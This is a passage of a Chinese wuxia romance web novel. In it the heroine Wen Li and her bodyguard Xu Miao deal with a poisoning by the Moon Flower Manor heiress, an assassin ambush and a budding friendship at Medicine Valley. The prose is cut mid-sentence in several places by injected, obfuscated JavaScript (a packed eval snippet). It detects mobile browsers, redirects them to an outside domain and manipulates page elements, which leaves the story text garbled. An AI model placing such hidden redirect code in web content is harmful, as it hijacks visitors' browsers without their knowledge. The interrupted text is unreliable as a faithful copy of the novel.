台下人议论纷纷,说这大小姐厉欢颜虽生了副好容貌,但性格却十分不讨喜,什么没礼貌、脾气大,比皇室公主、郡主还要傲上三分,往后谁娶了她,肯定是个受气包。 也有人嘴贱说月华山庄富甲一方,闻名天下,即便这大小姐性格不好,也有的是人上赶着当赘婿,再傲的女子,只要男的活好,婚后也能给大小姐治得服服帖帖。 厉欢颜在台上听着,脸色愈发冷了下来,手腕一翻,铮的一声响,竟将手中的长剑掷进木柱中,剑气回荡,吓得台下看客退避三丈。 闻梨因为挨着徐渺,没感受到剑气的厉害,只觉那大小姐好气魄,果然只有自己实力强了,才不惧怕流言蜚语。 闻梨大受鼓舞,扭头朝徐渺小声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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围观的百姓,已有不少被鞭子误伤的,场面登时乱作一团,闻梨离得最近,手中的瓜子被鞭子抽掉,下一瞬,又挥来一鞭差点抽到她的眼睛,幸而被身边眼疾手快的徐渺拦下,她才没有被打瞎一只眼。 厉欢颜正在气头上,回眸一看,有人竟然攥住了自己的鞭子,以为徐渺也是来比武的,见他样貌生得不错,想要试试他的武功深浅,便二话不说,转身与徐渺打起来。 徐渺只好迎招,有意将厉欢颜引开人群,二人从台下打到台上,又打到游廊房顶,所到之处花凋叶落。 厉欢颜难得遇到敌手,一时忘记比武招亲,招招致人要害,想要与徐渺打个痛快。 徐渺被迫拾起一根树枝当剑,发现越是闪躲,对方出招越狠,再这么下去,自己迟早也会精疲力竭,便想找机会一招制胜,打得更主动了些。 这是闻梨第一次见识徐渺的身手,她分不清什么样的功夫是上乘,只觉徐渺出招干脆利落,身形如魅,步履轻盈如飞,不仅厉害,还特别具有观赏性,连台下一众看客,也被二人的打斗吸引了目光。 闻梨的心也跟着汹涌澎拜,在一阵眼花缭乱的招式过后,比武忽然就结束了,仅一个眨眼的工夫,她看到徐渺夺走了月华山庄大小姐的鞭子,还将树枝抵在大小姐脖颈间。 台下掌声四起,已经有人在替徐渺庆祝比武夺魁,即将成为月华山庄的乘龙快婿。 “成亲!成亲!”台下一堆人在喊。 啊?闻梨才反应过来,徐渺应战,岂不是变相参加了比武招亲?现在还赢了比赛,早知道刚才就不在心里给他鼓气了。 天呐,要是徐渺决定留下当月华山庄的女婿,那她该怎么办?不管怎么算,这个待遇都比跟着自己当护卫好,她又是个逃犯,完全比不过呀。 周遭呐喊声四起,氛围愈演愈烈,只有闻梨的心凉了半截,隔着擂台,她瞧见收手后的两人站在一起说话,至于说了什么,她根本听不清楚。 两人站在一起,好耀眼,好登对啊。 好想知道他们在说什么,闻梨尝试分析二人的口型,一个像在说:什么时候可以成婚,越快越好;另一个彷佛回应说:等我辞了护卫的差事,就来月华山庄找你。 闻梨简直快要待不下去了,默默捡起散落的瓜子,糖包,还有水壶,收进徐渺打架时扔下的布袋,深深叹口气,转身欲走,天大地大,看来她又要一个人上路了。 徐渺瞥见一脸失意离去的闻梨,想也没想,立刻追了过去。 26. 第二十六章 “阿梨!”这是徐渺第二次主动唤闻梨的名字。 闻梨扛着布袋转身,诧异地看着追来的徐渺,他的身后还跟着月华山庄的大小姐,闻梨瞬间懂了,心里又落寞了一瞬,没想到徐渺如此迫不及待想要解除雇约,都没有一个正式的告别么? 尽管心里很不情愿,闻梨还是强撑着笑,“我知道了,回去我就把……” 徐渺忽然伸手将她抱住,朝厉欢颜道:“在下方才已经解释过,若非姑娘差点伤到我的娘子,我绝不会多管闲事与你过招,我已成亲,跟姑娘你不合适,你若不信,可以问我的娘子。” 闻梨懵了一瞬,很快反应过来,原来徐渺不想当月华山庄的女婿,在拿她当借口呢,尽管知道是假的,但是他一口一个娘子,真是让人脸红心跳。 既然演戏就要做全了,闻梨作状推开徐渺的手,脸上神情又是委屈,又是生气,醋味十足道:“你还记得我是你娘子,人家比武招亲,你凑什么热闹,就算是为了救我,惹人误会,认个输不行吗?我还真以为夫君你要另攀高枝,全然把我抛在脑后。” 徐渺登时愣住,脸上写满诧异,不知该说什么好。 闻梨寻思自己是不是演过头,正要找补,却听到徐渺认真反省道:“娘子教训得是,我再也不会把你扔下了。” 闻梨:“……”心跳得有点快。 跟过来的厉欢颜猝不及防被喂了口狗粮,眼神冷下三分,顿时对徐渺失去兴致,她可做不出那等强抢民夫的事情,既然是误会,说开了也没什么,但是她盯着闻梨绯红的耳尖,感觉这两人之间有什么秘密。 今天没招到夫婿,回去又要被娘亲一顿骂,厉欢颜心痒难耐,想要在这两人身上动点手脚。 徐渺接过闻梨身上布袋,自然而然牵起她的手,朝厉欢颜道:“那么,我们就先告辞了,希望姑娘早日找到如意郎君。” 厉欢颜收起鞭子,没再说什么。 二人牵手走过街角,直到人少的地方,闻梨才想松手,再这么握下去,她的半边胳膊都酸了,主要是跟他相触,她会很不自然,感受手已经不是自己的手了,手心紧张得在冒汗。 没成想徐渺握得很紧,闻梨没能抽回自己的手,她抬头看他,却见他一脸深沉,彷佛在思考什么了不得的问题。 闻梨小声提醒:“这里没人啦,我们可以不用装了,刚才演上头了,是我信口胡诌的,没吓着你吧?” 徐渺长睫微颤,纯澈的眼瞳闪过一丝恍然,松开闻梨的手,自嘲地笑了笑,“我方才见你头也不回地走了,还以为你是真的生气,在想该怎么哄你开心。” 闻梨错愕不已,脸蓦然红了,慌忙摆手,有些语无伦次:“怎、怎会生气,我想着你要去当月华山庄的赘婿,奔个好前途嘛……” 闻梨的话还没说完,徐渺忽而倒了下来,沉沉压在她肩头。 “我头好晕。”他的声息很是虚弱。 闻梨立马将徐渺扶住,一脸紧张问:“你怎么了?是不是刚才打架受伤了?” “我也不知道。”说完此话,徐渺彻底晕了过去。 徐渺看着清瘦,身子却很结实,又整整比闻梨高出一颗脑袋,压下来的重量不轻,闻梨扶得很吃力,在热心人士的帮助下,终于把昏迷的徐渺挪回了客栈。 很快,店小二请来了城里的郎中,郎中一边把脉,一边摇头:“病人是中毒之状,老夫只是个治跌打损伤的散医,要想解毒,还得去药师谷求陶医圣才行。” 郎中诊治完,便给闻梨开了几副延缓毒药扩散方子,闻梨除了熬药,几乎寸步不离守在徐渺房中,喂药,喂水,擦汗,细心照顾着他,累了就趴在床边小睡一会儿。 睡得迷迷糊糊时,闻梨感觉有人在拨弄自己的手,睁眼一瞧,发现徐渺竟然醒了,她连忙起身,倒了杯水想喂他喝下。 徐渺自己接过杯子,将杯中水一饮而尽,却仍觉得口干舌燥,闻梨立刻把茶壶端来,一杯接一杯倒给他喝。 她一边倒水,一边将郎中的话告诉徐渺,“我已经让店小二帮我喂饱马,明天我们就去药师谷给你治病。” 徐渺抬头看向闻梨,眸光温澈动人,声音柔得像轻羽拨过心弦,“谢谢你,彻夜不眠地照顾我。” 闻梨很不好意思地抱着茶壶坐下,“这也没什么,你现在感觉怎么样?记不记得是谁给你下的毒?” 徐渺回忆许久,始终没有头绪,不过练武之人可以自己运功逼毒,他想自己试试,便朝闻梨道:“能不能帮我弄桶洗澡水来,我想运功逼毒。” 闻梨点点头,喊来值守的店小二,从兜里掏出一锭银子,让店小二尽快把热水送来,然后转身,把房门锁好,然后搬来小凳子,准备守着徐渺运功。 徐渺却面露难色:“你能不能先出去?” 闻梨忙解释道:“我怕你万一走火入魔。”这些天,她也听了不少练武的事,尤其是走火入魔,严重时还会危及生命。 “运功时的汗水会打湿衣裳。”徐渺神色不太自然,耳廓泛起一抹可疑的红。 闻梨原本正看着他的脸,听到此话,下意识飞快往下瞄了一眼,也闹了个脸红,倏然起身,“那我去瞧瞧洗澡水烧好没有。” 闻梨找借口跑了出来,脸还在烫得厉害,她哪里是要去看什么洗澡水,在门前徘徊一阵,留神听屋里的动静。 半个时辰后,店小二送来桶热水,殷勤询问闻梨是否要抬进屋中,闻梨看了眼紧闭的房门,摇了摇头,让店小二抬回去继续热着。 不知等了多久,天边渐亮,客栈后院鸡鸣了三遍,也没见徐渺出来。 闻梨心急如焚,想掀开一丝门缝瞧瞧里面的情况,又担心影响徐渺运功打坐,只能在门口转来转去。 屋内的徐渺似乎听到到她急促的脚步声,过了一会儿,主动把门打开了,昏暗的屋内,显露出一张失魂落魄的俊脸。 闻梨从没见过神情如此落寞黯然的徐渺,为何他运功后的脸色比昨晚刚醒时还要难看几分,难不成真的走火入魔了? “你……怎么了?” 徐渺面色苍白,把空空的手掌伸来闻梨面前,有气无力道:“我的武功没了,我试了很多法子,都没办法凝聚起体内的真气。” 闻梨蹙紧眉头,丝毫没有迟疑,一把抓住徐渺的手,拉着他往楼下走,“我们这就去药师谷,找医圣给你解毒,倘若治不好,我会养你一辈子。” 两人的包袱以及物资,昨晚就被闻梨收进马车内,从店小二那里打听到药师谷的位置后,闻梨拉着徐渺坐上马车,朝药师谷的方向出发。 这一路上,徐渺始终很消沉,脸上笑容少了许多,不过他一向温和有耐心,即便武功全废,没有自暴自弃发脾气,或者性情大变,相反有种随遇而安的平静感。 闻梨生怕他想不开,不时找他搭话,而他也都句句有回应,反过来安抚闻梨焦急的心绪。 药师谷离月华城并不算远,两人日夜兼程,在第三天夜里终于抵达药师谷山下的小镇,镇子不算小,客栈也有很多家,住的全是慕名来求医的江湖人。 二人在客栈休息了一晚,翌日一早便进谷寻医。 “我昨晚打听了,这位陶医圣最擅长用毒,还解过不少江湖奇毒,一定能让你的武功恢复。”闻梨边走边道。 徐渺的情绪依旧低落,弯了下唇角,笑容略显苦涩:“这一路幸苦你了,要是治不好……” “要是治不好,我就带你去月华山庄求药,这几日我一直在想,定是那位大小姐被你拒婚,觉得脸上无光,才偷偷给你下药。” 徐渺:“可现在的我打不过她,去了月华山庄也拿不到解药。” 闻梨垂下眼睫,犹豫再三,小声道:“那你就娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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没等闻梨打量完来人,又瞧见医圣身后跟来一位姑娘,乍一看,这姑娘的样貌有点眼熟。 与此同时,那姑娘也瞧见了屋中的二人,下巴微抬脸上露出得意的笑。 “哦,原来是你们啊。” “你怎么在这里?” 厉欢颜往医圣身边一靠,气焰嚣张道:“这是我爹啊,我不在这里,那应该在哪里?” 闻梨也往徐渺身边靠了靠,明显底气不足:“你还敢出现?是不是你给他下的毒?原以为月华山庄都是正义之士,没想到也会干这种下三滥的勾当。” 厉欢颜有点气恼:“没错,是我干的,骂我就好好骂,扯月华山庄做什么?” 闻梨还想再说些什么,却被徐渺拦在身后,只见他神色严峻,语气冰冷道:“既然如此,那我们走吧。” “二位请留步,小女言行无状,若是得罪了二位,我替小女向二位道歉。”在一旁看热闹的医圣终于开口。 见医圣不似其女那般胡搅蛮缠,徐渺这才停下脚步,恭敬道:“有劳前辈替我解毒。” 厉欢颜很不满意亲爹的做法,气哼哼道:“我何时言行无状了,分明是他们欺骗我在先,我才给他下毒的,你们两个不是夫妻吗?那我告诉你们,此毒唤作鸳鸯散,你们要是真夫妻,睡一觉就解开了,哪里需要这么麻烦。” 闻梨与徐渺皆是一愣,尤其是闻梨,不光震惊,脸红得像熟透的桃子,不敢再对上徐渺的视线,低头盯着地面的板砖,彷佛有什么东西等着她去捡。 可恶,这大小姐为什么不早点说清楚!虽说她肯定不会陪徐渺睡觉,让他自己来也能解决吧? 另一个奇怪的念头浮现,要这么说,尽管有很感觉,但是徐渺一次也没自己解决过? 他难道……是不行吗? 27. 二十七章 “好了欢颜,你先带这位姑娘出去,我要替少侠解毒。”陶医圣颇为无奈地看向自己的女儿。 厉欢颜只好住嘴,头一扭,自顾自地出门去了。 闻梨早就想找借口离开,见机会正好,眼也不抬地跟着走了。 出门后,闻梨自己找了个凉亭坐下,抬头却瞧见本已走远的厉欢颜折返回来。 “你们两个到底是什么关系?好端端的,骗我做什么?” 闻梨一阵默然,总不能把真话告诉这位大小姐吧?主意是徐渺出的,他肯定是不想被大小姐缠上,这种话讲出来,十有八九要挨揍。 想了想,闻梨斟酌开口:“他是我的护卫,那天为了保护我才跟你打架,我们不想在外惹是生非,无心欺骗于你。” 猜测被证实后,厉欢颜眉梢高高扬起,“我就说你们不像真夫妻。” “你从哪里看出来的?”闻梨觉得好奇,明明那天自我认为演得不错,不知是哪一处露了陷。 厉欢颜俏皮地眨眨眼:“很简单啊,我爹牵我娘的手时,我可从没见过我娘脸红,那天你的脸红成那个样子,很惹人怀疑好么?” 闻梨轻轻搓了搓自己的脸,没想到居然是这个缘由,看来下次不能再扮演夫妻了。 厉欢颜自来熟地坐在闻梨身边,一脸八卦问道:“你的护卫师承哪一派?我瞧他的武功路数很复杂,不像是从几大门派里出来的,他这个年纪,要是去参加武林大会,没几年肯定名扬天下。” 闻梨摇头:“他没跟我说过这些。” 见闻梨似乎真的不知情,厉欢颜故作深沉道:“看你长得乖巧讨喜,想必刚出来闯江湖吧?连底细都不知道的护卫,也敢带在身边?我跟你说,男人最不可信,尤其是长得好看的男人,惯会欺骗女人,你自己留点心眼,别被吃干抹净了啊。” 闻梨睁着圆溜溜的眼,眸光又透又亮,唇畔似笑非笑,心想道,这月华山庄大小姐,前后反差还真大。 感觉自己已经仁至义尽的厉欢颜,正想功成身退,临走前又补了一句:“当然,长得丑的也别信,花花肠子最多了,你玩不过他们的。” 厉欢颜走后,闻梨自己坐在外边等徐渺,无聊了就四处走走,数一数山上的药田和药师谷弟子,此谷幽静祥和,远离江湖与尘世,能在这里当个学徒也十分不错。 她开始有点羡慕厉欢颜了,母亲是执掌山庄的庄主,父亲是悬壶济世的医圣,不管学武还是学医,都能直接继承家学,而且夫君也能由其自己选,就算不嫁人,也有自己立命安身的本事。 闻梨不禁陷入沉思,等之后到了桃源村,自己又能做些什么呢?虽然身上的钱足够她衣食无忧,过完普通人的日子,但是万一家里遭贼,或者遇到什么天灾人祸,钱没了怎么办? 再说了,谁不希望自己的钱袋子鼓起来呢?她可得好好寻思一下,自己做什么买卖能赚银子。 她正想得入迷,丝毫没发觉身后有人靠近。 “你在这里想什么?”徐渺的声音冷不丁在背后响起。 闻梨欣喜回头,瞧见徐渺的脸色已不似早上那般苍白,眼眸也重新拾起光芒,她由衷替他感到开心:“你的身体恢复了?” 徐渺自惭笑道:“这段日子让你担心了,医圣帮我清除了毒素,不过中毒时间久,武功要养几天才会恢复。” “那就好,我们在山下住几天吧?要是武功没恢复,也方便找医圣。” 徐渺笑着应好,却在闻梨背过身时,眉头微不可察地蹙了下,前两天,他收到属下的来信,信上说谢陵回京后雇了暗夜阁的杀手,要活捉闻梨,杀手们不知从何处得到线索,正朝着药师谷赶来。 现在他的武功才开始恢复,若半道上遇到杀手,没有把握带着闻梨全身而退,药师谷是月华山庄的地盘,留在这里兴许会好一点。 徐渺此刻只希望,在杀手们到来前,他的武功能够全部恢复。 从药师谷回来的路上,闻梨一直在想厉欢颜说过的话,经过两个多月的相处,自己还是对徐渺的过往一无所知,当时追杀他的是些什么人?以及那天晚上,他为何会突然答应当她的护卫? 这些问题,她从没有问出口,只是潜意识里觉得他这个人很神秘,倘若探知到他的秘密,反而可能会把他推远,她愿意等他主动开口的那天。 “你今天好像有心事?”徐渺发现闻梨有些心不在焉。 思绪落回眼前,闻梨扯唇笑了笑,刚想说没什么,却在刹那间被徐渺推开,一枚铜制飞镖堪堪从她身旁擦过,闻梨跌坐在墙边,惊魂未定望着突然出现的一伙黑衣人。 其中有个人掏出画像,照着闻梨比对了几眼,眼神徒然变亮,扭头跟身边人训道:“小兔崽子们下手轻点,雇主说要抓活的,受一点伤都不行。” “那男的怎么办?” “不管他,要是敢来碍事就杀掉。” 徐渺对这些人的威胁视若无睹,快步过去将闻梨护在身后,他没想到暗夜阁杀手来得如此之快,还都是些排行榜上的高手,即便武力全部恢复,他也不一定打得过。 “等会打起来,你就找机会逃走,回药师谷躲一躲,那里是月华山庄的地盘,他们不敢硬闯。” 望着眼前一众面色不善的杀手,闻梨不自觉扯紧徐渺的衣角,慌张问道:“可你怎么办?” 徐渺安抚地拍了下她的手背,抿唇轻笑:“放心,他们的目标不是我,等我逃出来,就去药师谷找你。” 闻梨不甚放心,但眼下没有更好的选择,自己留下还会拖累徐渺,便只能答应道:“你自己小心,我等你回来。” 话音未落,有两个黑衣杀手已按耐不住,手里攥着绳子,朝闻梨逼近。 徐渺眼神幽冷,捏碎藏在手心的烟丸,四周瞬间腾起一阵呛人的烟雾,闻梨趁此机会,转身往药师谷方向狂奔。 身后传来兵器碰撞的响动,闻梨识得徐渺出剑的声音,只听得一声脆响,铁剑骤然断裂,哐当掉地。 闻梨错愕回首,便瞧见徐渺失控般从白雾中飞出,身体砸落在墙上,猛然吐了口血,他艰难抬起头看她,眼瞳腥红,刘海紧贴在额间,冷白如玉的面庞沾了不少污泥,唇形似乎在说:快跑。 闻梨眼睫微颤,忽而站定,眸底闪过一缕决绝,毅然回头,她拔下挽发的银簪,紧抵在自己颈间,手因为发抖,没控制好力道,脖颈皮肉处已有血迹渗出。 “你们要是杀了他,我也不活了。” 此话一出,正准备下狠手的黑衣人蓦然停住,询问带头者的意思。 为首者轻啧了一声,道:“先听她的。” 闻梨跑来徐渺身旁,想要把他扶起,眼泪狼狈地从脸颊滑落,声音哽咽:“对不起,是我连累了你,很庆幸能与你相识一场,我从没像这段日子里这般开心过,你自己走吧,别再来救我了。” 她说这话时,面色凄然,语气里透着深深的绝望,徐渺什么话也没说,只是抬手拿开她抵在脖颈的簪子,用柔和而坚定的眸光望着她,耐心等她说完,才虚弱笑道:“我不走,我既然答应当你的护卫,你去哪里,我便跟去哪里。” 闻梨怔愣片刻,还没来得及细想他话里的意思,街边忽然传来一道女子轻灵骄矜的喊声:“把他们拿下!” 一时间,四面围上来不少青衣女剑客,人数是黑衣人的三倍多,很快将场面镇住。 厉欢颜手执长剑,从众剑客中间走出,她今日的打扮干练爽利, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308562|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏黄衣裙在日光下,衬得她本就明媚的五官更加绮丽,尤其是开口说话时,气势十足: “诸位在我月华山庄的地盘打人,有没有问过我的意思?” 暗夜阁杀手们面面相觑,纷纷看向领头者,领头者眉头紧皱,没想到竟然有月华山庄的人插手,对方人多势众,没必要正面起冲突,便带着人撤走了。 眼见暗夜阁杀手走远,厉欢颜才收起剑,来到闻梨与徐渺跟前,双手抱在胸前,扬起下巴道:“你们两个没事吧?” 闻梨擦擦泪痕,目露欣喜:“你怎么知道我们在这里?” 厉欢颜得意笑了笑:“没什么能瞒过我的眼睛。”说罢,她扭头吩咐女剑客们全都回去,她们的职责是保护药师谷,要是被母亲大人知道她私下调遣卫队,那就麻烦了。 “多谢厉姑娘出手相救。”徐渺被闻梨扶起,勉强撑起身子。 “小事一桩,毕竟是我给你下药的,倘若害你们丢掉性命,岂不是罪过大了?”厉欢颜略顿了顿,又好奇问道:“话说你们怎会惹上暗夜阁的人?” 闻梨迟疑了一下,不知该怎么解释,抬眼看向徐渺,只见徐渺面不改色,回答得模棱两可,只说是仇家买通暗夜阁的人追杀。 厉欢颜不在意他们招惹了什么样的仇家,便没再多问,挥挥手道:“走吧,先回药师谷养伤。” 徐渺在闻梨的搀扶下,再次回到药师谷,这次药圣没再露面,是大弟子江亦为他疗伤的,徐渺内伤严重,每日几乎有大半天时间要泡药浴,闻梨不方便跟着,整日在外边闲逛,久而久之倒是和厉欢颜熟络起来。 闻梨发现,表面上看着骄纵不拘、目中无人的月华山庄大小姐,其实私底下是个嘴硬心软的傲娇怪,有什么好吃的、好玩的,都会给闻梨送一份,偏嘴上还要说自己吃不完,不想浪费。 闻梨眨了眨眼,欣然接受,主动靠近厉欢颜,热诚邀请她:“等会要不要一起吃午膳?” 厉欢颜一脸意外,眼中划过一丝惊喜,她虽为大小姐,不论月华山庄,还是药师谷,人人都对她敬而远之,长这么大还没交到过同龄的朋友。 “那、那你等着,饭点我过来找你。”扔下这句话,厉欢颜便匆忙走了。 闻梨只当厉欢颜是不好意思,等到了饭点,厉欢颜没出现,只是派了个药师谷弟子过来叫她,闻梨并未多想便跟着走了。 * 今晨,徐渺像往常那样脱掉上衣,踏进浴桶里泡澡,期间江亦不时进屋看一眼情况,经过几日的疗养,徐渺的内伤已好了大半,武功也在逐渐恢复。 本该是件好事,可徐渺却注意到,江亦自打进门后,便一脸神色凝重的模样,眉间隐有纠结之色,好几次欲言又止,随即又摇摇头,暗自叹口气。 连带着徐渺也跟着紧张,语气沉重问道:“江大夫,是不是我的内伤治不好了?” 江亦摇头:“你的伤没什么问题,不过跟你一起的那位姑娘,恐怕怕要遭殃了。” 哗啦一声,徐渺从浴桶里站起身,神情着急:“江大夫此言何意?” 江亦把他摁回水里:“你别急,她暂时不会有性命之危,你还得在泡一个时辰才能出来。” 徐渺盯紧江亦:“还请江大夫明说。” 江亦舀了瓢热水进浴桶,一边解释道:“我也只是猜测,你的同伴最近跟欢颜走得很近,欢颜性子顽劣,从小就喜欢拿身边人试毒,连我都不能幸免,只需谨记,千万别吃她给的东西。” 徐渺沉默不语,早早结束今天的药浴后,他在饭堂寻了一圈,却不见闻梨身影,在江亦的帮助下才打探得知,闻梨早被厉欢颜派来的人请去吃午膳了。 二人立刻往竹林中的小院赶去。 28. 第二十八章 在药师谷的这几日,闻梨向来都是在饭堂吃饭,头一回被人带到了从未涉足过的幽静小院,还未走近,迎面扑来一阵浓郁的饭菜香味,连一旁带路的弟子都没忍住咽了咽口水。 闻梨在弟子羡慕的眼神中推开院门,踏进小院,只见朴素简单的小院中间,摆了满满一桌饭菜,菜色也是最家常的那种,看着很是下饭。 闻梨愣愣站着这温馨小院里,忽然觉得有些受宠若惊,心里酸酸的,胸口腾起一种从未有过的轻柔感,暖融融的,让她有点不知所措。 厉欢颜端着一盘菜,从灶房里出来,见闻梨如约来了,她先是面露喜色,很快压下来,故作镇定招呼闻梨坐下:“我爹的手艺一般人尝不到,快来趁热吃。” 闻梨仍拘谨地站在桌边,往灶房的方向瞅了一眼,“陶医圣不过来一起吃?” 厉欢颜拉着她坐下,“我爹习惯一个人吃,我们俩先吃吧,尝尝合不合你胃口。” 闻梨这才坐下,夹了块面前的鱼肉尝了尝,鲜香滑嫩,她边吃边夸,脸上神情十分满足,“好吃极了!” 只听得砰的一声响,院门忽被人踹成两半,飞来的门板险些打翻桌上的饭菜,好在厉欢颜眼疾手快,挡了下来。 闻梨攥紧饭碗,目瞪口呆望着门边站着的两道人影,一时搞不清状况,只见徐渺沉着脸快步走来,夺走她手里的饭碗,肃声道:“别吃,有毒!” 此话一出,厉欢颜的脸色徒然变得难看,早在她瞧见江亦的那一刹那,心中都明白了。 徐渺见闻梨还嘴里塞得鼓鼓的,捏着她的脸,想让她赶紧吐出来,却不料她嚼啊嚼,不仅咽了下去,居然还把他夺过来的碗重新端走。 “没毒啊,我吃着很香,陶医圣亲自下厨,怎会有毒呢?” 从闻梨的反应看来,并不像中毒之症,徐渺也有些困惑了,将目光投向江亦,只见江亦不慌不忙掏出银针,试了试饭菜,果然没毒。 江亦明显松口气,只说了句得罪了,便自己走了。 独自在屋内吃饭的陶医圣瞧见这一幕,无可奈何地摇摇头,只要这些小辈没有闹到不可开交的份上,他都不会插手去管。 闻梨扭头看向厉欢颜,她的脸色像是被霜打了那般惨败,眼眶早已盈满泪水,却咬紧唇不肯让眼泪落下,最终,她什么话都没说,转身把自己锁屋子里,任凭闻梨怎么敲门,都不出来吃饭。 好好一顿饭,就这样被搞砸了,徐渺也有点心虚,一脸无辜地望着闻梨,他那副神情彷佛再说,你没事就好,我很担心你。 闻梨怎还怪得出口,拿了副新碗筷来,便拉着徐渺坐下,望着已经有些凉的菜肴,叹道:“一起吃吧,陶医圣辛辛苦苦做的,可别浪费了。”说罢,她开始动筷。 期间,闻梨从徐渺那里得知了事情的经过,吃完饭后,徐渺很自觉的洗碗抹桌,闻梨也跟着收拾残局,两人把小院打扫得干干净净。 屋内的陶医圣颇为满意,暗自感慨,要是自家的两个孩子,也能这般讨人喜欢就好了。 隔壁屋子内,厉欢颜躲在被子里抹眼泪,濡湿了大半枕头,伤心到最后有些累了,蒙着被子睡了过去。 再醒来时,外边天色已黑,腹中饥饿难忍,她从床上爬起来,红肿着一双眼,打算去小厨房翻点吃的,推开门却见院中燃起篝火,火堆旁坐着两个人,火上还架着一只烤鸡,香味勾人。 闻梨听到门响,回头正好瞧见厉欢颜从屋子里出来,便朝她招手笑道:“你来得正好,香喷喷的烤鸡可是我家阿渺的拿手招牌,要不要过来尝尝?” 徐渺垂下眼睫,唇角微扬。 厉欢颜驻足片刻,大大咧咧走过来,在闻梨身旁坐下,嘴上问着徐渺会不会也给她下毒,手却已经伸出,接过闻梨递来的肥美鸡腿,大口吃起来。 闻梨又将另一只鸡腿分给徐渺,犒劳他道:“今天辛苦你啦,我想跟厉姑娘单独聊聊。” 徐渺笑着接过,趁着闻梨扭头跟厉欢颜说话之际,悄悄放进她的碗中,随后离开小院,继续泡药浴去了。 厉欢颜将二人的互动看在眼里,待徐渺走远,她才打趣闻梨道:“瞧不出来,你家护卫还挺会心疼人的嘛。” 闻梨开始装傻充楞:“那我也心疼心疼你,一整天没吃饭,饿坏了吧?特意求了阿渺给你做烤鸡吃,白天的事情,我替阿渺向你道个歉。” 厉欢颜神色黯然道:“我不是在跟你们置气,我是……没想到江师兄会如此不信任我,你说人做错了事情,是不是就永远没法被原谅?” 闻梨思忖道:“那也得看具体是什么事吧?” 厉欢颜连着啃了几口鸡腿,“在我小时候,我娘常年逼着我练剑,我心里很不乐意,却又没办法违抗,便跑来我爹这边,想学医救人,那时候不懂事,沉迷于炼制毒药,还拿不少人试药,被我爹娘狠狠揍了一顿,从那以后,再没人敢跟我一起玩。” 话说到一半,厉欢颜忽而起身,不知从哪里搬来一坛子酒,给闻梨和自己的碗满上,一边喝,一边道:“那一阵子,我过得很孤独,吃饭也是一个人,练功也是一个人,就只有我娘给我找的门派师父,还乐意跟我说几句,其他人都避我如蛇蝎。” 厉欢颜闷下一口酒,喝完看向闻梨的酒碗。 闻梨见状,便也学着厉欢颜的模样,一口喝掉碗里的酒,辣得她喉咙发紧,没忍住一个劲挠自己的脖颈,又担心抓伤前几日留下的疤痕。 厉欢颜扑哧一笑:“这酒烈着呢,你不会喝,就少喝一点。” 闻梨脑袋有些发懵,好不容易压下喉咙的不适,便听到厉欢颜继续刚才的话题。 “江师兄就是在那个时候被我爹带回药师谷的,我爹还收他为关门弟子,还说未来的药师谷由他传承,江师兄是个至诚至善的性子,对每个人都很好,也包括我。” 闻梨不解问道:“那你为何给他下毒?” 厉欢颜没说话,连着喝了好几碗酒,眼中仍不见醉意,别过脸去,自嘲地笑了笑:“我给他下的是鸳鸯散。” 闻梨睁大眼睛,忽然间就明白了什么。 厉欢颜:“我想出门闯荡江湖,可我娘逼着我接手月华山庄的事务,闹了几场,我娘骂我烂泥扶不上墙,说我执意要走,那就先成亲,生个孩子,她要培养成山庄未来的继承人。” 闻梨恍然,“所以你就盯上了江大夫?” 许是喝了酒的缘故,厉欢颜难得坦诚一回:“是啊,可是江师兄心里根本没我,一心只想着将药师谷发扬光大,我只好用点特殊手段,偷偷跟你说,我娘当年就是用这一招把我爹弄到手的,虽说他二人不在一处过日子,但心里始终有彼此,别提我有多羡慕了。” 闻梨连忙看一下四周,还好没第二个人在场,陶医圣白天就出去了,也不在院中。不知道大小姐明天酒醒,会不会来找她灭口? 厉欢颜压根没醉,看穿闻梨的顾虑,手一挥,笑道:“放心啦,我拿你当好朋友,相信你不会说出去的,何况你也不敢说,我娘可不好惹。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338959|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来呢?” “那种药平常人吃了,如果不发泄出来,可能会丢命,江师兄被我下药后,强撑着一口气找我爹解毒,此后便再没理过我,我哭也好,闹也罢,他皆视若无睹,后来,我自觉没趣,不怎么来药师谷,这次还是为了瞧瞧你们会不会来。” 闻梨沉默良久,才问道:“这些话你可有跟江大夫说过?” 厉欢颜失落道:“他私下对我冷冰冰的,哪有机会跟他说这些话?而且说了又如何呢?他还不是照样讨厌我。” 闻梨却道:“可我今天瞧着江大夫对你不是讨厌,反倒是种担心?担心你一错再错,想想看,我们刚见面,你是不是就给阿渺下毒了?也许在江大夫看来,你屡教不改,故而才一直对你冷淡。” 